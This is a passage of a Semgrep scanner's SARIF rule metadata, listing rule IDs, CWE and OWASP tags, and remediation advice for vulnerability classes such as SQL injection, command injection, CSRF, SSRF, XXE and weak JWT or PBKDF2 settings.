concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"help":{"markdown":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","id":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","name":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite)\n - [https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application](https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","id":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","name":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"help":{"markdown":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure)\n - [https://cwe.mitre.org/data/definitions/209.html](https://cwe.mitre.org/data/definitions/209.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n","text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","id":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","name":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","properties":{"precision":"very-high","tags":["CWE-209: Generation of Error Message Containing Sensitive Information","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","id":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","name":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","id":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","name":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection)\n - [https://www.php.net/manual/en/ref.exec.php](https://www.php.net/manual/en/ref.exec.php)\n - [https://www.php.net/manual/en/ref.filesystem.php](https://www.php.net/manual/en/ref.filesystem.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection","id":"php.laravel.security.laravel-command-injection.laravel-command-injection","name":"php.laravel.security.laravel-command-injection.laravel-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-command-injection.laravel-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","id":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","name":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"help":{"markdown":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv)\n - [https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection](https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection)\n","text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv","id":"python.lang.security.audit.conn_recv.multiprocessing-recv","name":"python.lang.security.audit.conn_recv.multiprocessing-recv","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.conn_recv.multiprocessing-recv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"help":{"markdown":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n","text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection","id":"javascript.express.security.audit.remote-property-injection.remote-property-injection","name":"javascript.express.security.audit.remote-property-injection.remote-property-injection","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.remote-property-injection.remote-property-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"help":{"markdown":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password)\n - [https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation](https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation)\n","text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password","id":"python.django.security.audit.unvalidated-password.unvalidated-password","name":"python.django.security.audit.unvalidated-password.unvalidated-password","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.unvalidated-password.unvalidated-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"help":{"markdown":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg","id":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","name":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled)\n - [https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/](https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/)\n - [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)\n","text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","id":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","name":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Outlook Team detected"},"help":{"markdown":"Outlook Team detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Outlook Team detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team","id":"generic.secrets.security.detected-outlook-team.detected-outlook-team","name":"generic.secrets.security.detected-outlook-team.detected-outlook-team","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-outlook-team.detected-outlook-team"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"help":{"markdown":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html)\n - [https://www.npmjs.com/package/react-markdown#security](https://www.npmjs.com/package/react-markdown#security)\n","text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","id":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","name":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is 